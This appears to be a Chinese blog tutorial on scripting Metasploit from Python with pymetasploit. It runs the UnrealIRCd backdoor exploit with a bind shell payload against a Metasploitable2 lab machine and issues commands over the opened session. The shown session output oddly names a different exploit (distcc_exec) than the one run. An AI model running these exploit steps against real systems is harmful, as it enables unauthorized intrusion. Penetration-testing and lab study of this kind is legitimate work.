使用python操縱metasploit簡單小記

最近想做一款自動化的主機漏洞掃描工具。打算以python作為基礎語言,metasploit作為開發基礎庫。查資料發現國內的論壇博客都只會互相抄來抄去,沒一個能打的。

那就我來寫一篇。

本文用到的python庫是allfro/pymetasploit

使用pip進行安裝

pip install pymetasploit

我的開發環境是windows,metasploit跑在kali環境下。所以在kali下面要做如下配置。

首先是運行msfrpcd服務,-S參數表示不通過SSL進行連接,-U後接用戶名,-P後接密碼。具體可以輸入msfrpcd -h查看。

msfrpcd -S -U peng -P peng

運行完後界面是這樣的。

然後我們寫第一行python程序。引入的方法是這樣的:

from metasploit.msfrpc import MsfRpcClient

第二行獲得連接的對象,是這樣的。

client = MsfRpcClient(password="peng", username="peng", server="192.168.190.128", ssl=False )

解釋一下,這個MsfRpcClient傳入的參數中,password是必須的,其他可選參數有url/port,可以看源碼得知其用途。

我們來列印一下這個對象可調用的方法。此時整體的代碼是這樣的。

from metasploit.msfrpc import MsfRpcClientclient = MsfRpcClient(password="peng", username="peng", server="192.168.190.128", ssl=False)print [m for m in dir(client) if not m.startswith("_")]

返回的結果有:

["auth", "authenticated", "call", "client", "consoles", "core", "db", "jobs", "login", "logout", "modules", "plugins", "port", "server", "sessionid", "sessions", "ssl", "uri"]

和metasploit framework類似,這個client也是分為不同模組的。解釋一下其中幾個重要的模組。

  • consoles:負責和msfconsole進行交互,也就是說使用這模塊與使用msfconsole無異。

  • core:管理metasploit framework的核心模塊。

  • db:管理與後端的資料庫連接。

  • modules:重中之重,我們可以使用這個很輕鬆地調用msf的各種模組。

  • sessions:管理meterpeter的session用的,也是重中之重。

查看Exploit的方法和msfconsole類似。直接輸入:

print [i for i in client.modules.exploits]

就可以輸出一個全部Exp的名字的List。同樣的方法可以用於auxiliary、encoders、nops、payloads、post。

好了,我們上個Exp和靶機搞搞事情。

我們用的漏洞是Metasploitable2的unreal_ircd_3281_backdoor。這個漏洞是這樣子的:6667埠上運行著UnreaIRCD IRC的守護進程,通過在一個系統命令後面添加兩個字母「AB」發送給被攻擊伺服器任意一個監聽該埠來觸發。

使用exp的代碼如下:

exploit = client.modules.use("exploit", "/unix/irc/unreal_ircd_3281_backdoor")

查看exploit描述、選項、要求的方法有:

print exploit.descriptionprint exploit.optionsprint exploit.required

返回結果如下:

設置Exp參數的方法如下:

exploit["RHOST"] = "192.168.190.129"

查看可以使用的Payload:

print exploit.payloads

返回結果:

["cmd/unix/bind_perl", "cmd/unix/bind_perl_ipv6", "cmd/unix/bind_ruby", "cmd/unix/bind_ruby_ipv6", "cmd/unix/generic", "cmd/unix/reverse", "cmd/unix/reverse_bash", "cmd/unix/reverse_bash_telnet_ssl", "cmd/unix/reverse_openssl", "cmd/unix/reverse_perl", "cmd/unix/reverse_perl_ssl", "cmd/unix/reverse_ruby", "cmd/unix/reverse_ruby_ssl", "cmd/unix/reverse_ssl_double_telnet"]

運行Exp,並使用對應Payload:

print exploit.execute(payload="cmd/unix/bind_perl")

然後可以返回session的id,如下所示。如果返回None,證明Exp沒打進去:

{"job_id": 1, "uuid": "bdutdeae"}

調用以下命令可以看到當前活躍的session:

print client.sessions.list

這是當前的顯示:

{1: {"info": "", "username": "root", "session_port": 3632, "via_payload": "payload/cmd/unix/bind_perl", "uuid": "7prx3xje", "tunnel_local": "192.168.190.128:39936", "via_exploit": "exploit/unix/misc/distcc_exec", "exploit_uuid": "npenk79g", "tunnel_peer": "192.168.190.129:4444", "workspace": "false", "routes": "", "target_host": "192.168.190.129", "type": "shell", "session_host": "192.168.190.129", "desc": "Command shell"}}

調用session的方法:

shell = client.sessions.session(1)shell.write("whoami
")print shell.read()

然後可以得到當前用戶的信息。

daemon

我想寫個漏洞掃描器。。。。。

<EOF>
推薦閱讀:

人人都愛數據科學家!Python數據科學精華實戰課程系列教程連載 ----長期更新中,敬請關注!
Python3中BeautifulSoup的使用方法
用Python做Lorenz attrator的動畫模擬
靜覓博主:Python爬蟲學習系列教程
[3] Python數值

TAG:渗透测试 | Python | 网络安全 |